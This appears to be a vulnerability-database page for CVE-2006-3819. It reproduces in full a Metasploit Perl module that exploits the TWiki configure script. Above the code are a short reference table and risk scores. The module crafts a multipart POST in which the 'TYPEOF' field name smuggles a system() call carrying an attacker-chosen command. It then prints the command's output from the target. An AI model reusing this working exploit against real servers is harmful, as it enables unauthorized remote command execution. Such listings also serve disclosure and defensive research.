TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)

🗓️ 02 Aug 2006 00:00:00Reported by RootType

twiki_config_typeof Remote Code Executio

Reporter	Title	Published	Views	Family All 10
0day.today	TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)	2 Aug 200600:00	–	zdt
Tenable Nessus	TWiki Privilege Escalation	19 Jun 200600:00	–	nessus
Tenable Nessus	TWiki configure Script Arbitrary Command Execution	31 Jul 200600:00	–	nessus
CVE	CVE-2006-3819	27 Jul 200601:00	–	cve
Cvelist	CVE-2006-3819	27 Jul 200601:00	–	cvelist
Exploit DB	TWiki 4.0.4 - Configure Script Remote Code Execution (Metasploit)	2 Aug 200600:00	–	exploitdb
EUVD	EUVD-2006-3813	7 Oct 202500:30	–	euvd
exploitpack	TWiki 4.0.4 - Configure Script Remote Code Execution (Metasploit)	2 Aug 200600:00	–	exploitpack
NVD	CVE-2006-3819	27 Jul 200601:04	–	nvd
UbuntuCve	CVE-2006-3819	27 Jul 200601:04	–	ubuntucve


                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::twiki_config_typeof;
use base &quot;Msf::Exploit&quot;;
use strict;
use Pex::Text;
use bytes;

my $advanced = { 
	'HttpBoundary' =&gt; ['Mtb06z', 'HTTP boundary']
};

my $info = {
	'Name'     =&gt; 'Twiki Configure script TYPEOF Parameter Remote Command Execution',
	'Version'  =&gt; '$Revision: 1.0 $',
	'Authors'  =&gt; [ 'David Maciejak &lt;david dot maciejak at gmail dot com&gt;' ],
	'Arch'     =&gt; [ ],
	'OS'       =&gt; [ ],
	'Priv'     =&gt; 1,
	'UserOpts' =&gt;
	  {
		'RHOST' =&gt; [1, 'ADDR', 'The target address'],
		'RPORT' =&gt; [1, 'PORT', 'The target port', 80],
		'VHOST' =&gt; [0, 'DATA', 'The virtual host name of the server'],
		'DIR'   =&gt; [1, 'DATA', 'Directory of Twiki', '/twiki'],
		'SSL'   =&gt; [0, 'BOOL', 'Use SSL'],
	  },

	'Description' =&gt; Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in the
	Twiki configure script. All versions of Twiki prior to 
	4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on twiki.org homepage.
}),
	'Refs' =&gt;
	  [
		['BID', '19188'],
		['CVE', '2006-3819'],
		['OSVDB', '27556'],
	  ],

	'Payload' =&gt;
	  {
		'Space' =&gt; 128,
		'Keys'  =&gt; ['cmd','cmd_bash'],
	  },

	'Keys' =&gt; ['twiki'],

	'DisclosureDate' =&gt; 'Jul 27 2006',
  };

sub new {
	my $class = shift;
	my $self = $class-&gt;SUPER::new({'Info' =&gt; $info, 'Advanced' =&gt; $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self-&gt;VHost;
	my $target_port    = $self-&gt;GetVar('RPORT');
	my $dir            = $self-&gt;GetVar('DIR');
	my $encodedPayload = $self-&gt;GetVar('EncodedPayload');
	my $cmd            = $encodedPayload-&gt;RawPayload;
	my $boundary		 = $self-&gt;GetLocal('HttpBoundary');		

	$cmd=
		&quot;\r\n--&quot;.$boundary.&quot;\r\n&quot;.
		&quot;Content-Disposition: form-data; name=\&quot;action\&quot;\r\n\r\n&quot;.
		&quot;update\r\n&quot;.
		&quot;--&quot;.$boundary.
		&quot;Content-Disposition: form-data; name=\&quot;TYPEOF:{system('$cmd')}\&quot;\r\n\r\n&quot;.
		&quot;BOOLEAN\r\n&quot;.
		&quot;--&quot;.$boundary;

	my $proto=&quot;http&quot;;
	if ($self-&gt;GetVar('SSL'))
	{
		$proto.=&quot;s&quot;;
	}

	 my $request =
    	&quot;POST &quot;.$dir.&quot;/bin/configure HTTP/1.1\r\n&quot;.
		&quot;Content-Type: multipart/form-data; boundary=&quot;.$boundary.&quot;\r\n&quot;.
		&quot;User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n&quot;.
		&quot;Host: $target_host\r\n&quot;.
		&quot;Referer: &quot;.$proto.&quot;://&quot;.$target_host.$dir.&quot;/bin/configure\r\n&quot;.
		&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/png\r\n&quot;.
		&quot;Accept-Language: en\r\n&quot;.
		&quot;Content-Length: &quot;. length($cmd). &quot;\r\n\r\n&quot;.
		$cmd;

	my $s = Msf::Socket::Tcp-&gt;new(
		'PeerAddr' =&gt; $target_host,
		'PeerPort' =&gt; $target_port,
		'SSL'      =&gt; $self-&gt;GetVar('SSL'),
	  );

	if ($s-&gt;IsError){
		$self-&gt;PrintLine('[*] Error creating socket: ' . $s-&gt;GetError);
		return;
	}

	$s-&gt;Send($request);

	my $results = $s-&gt;Recv(-1, 200);

	if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
		my @extract_result;
		my @results = split ( /\r\n/, $results );

		chomp @results;
		my $fill_extract_result=0;
		my $end_break=0;
		my $i=0;
		while ( !$end_break &amp;&amp; ($i &lt; @results)){
			if ($results[$i] =~ /\&lt;div id=\&quot;patternScreen\&quot;\&gt;/)
			{
				$fill_extract_result=0;
				$end_break=1;
			}
			if ($fill_extract_result&gt;0) {
					push(@extract_result,$results[$i]);
			}
			if ($results[$i] =~ /\&lt;body class=\&quot;patternNoViewPage\&quot;\&gt;/)
			{
				$fill_extract_result=1;
			}
			$i++;
		}

		if (@extract_result &lt; 3) {
				$self-&gt;PrintLine(&quot;[*] Target may be not vulnerable, or you have used ';' char in CMD&quot;);	
		}
		else {
			for ($i=1;$i&lt;@extract_result;$i+=2) {
				chomp @extract_result;
				$self-&gt;PrintLine(&quot;$extract_result[$i]&quot;);
			}
		}
	}

	$s-&gt;Close();
	return;
}

sub VHost {
	my $self = shift;
	my $name = $self-&gt;GetVar('VHOST') || $self-&gt;GetVar('RHOST');
	return $name;
}

1;

# milw0rm.com [2006-08-02]

02 Aug 2006 00:00Current

7.1High risk

Vulners AI Score7.1

EPSS0.07898

TWiki &lt;= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)

TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)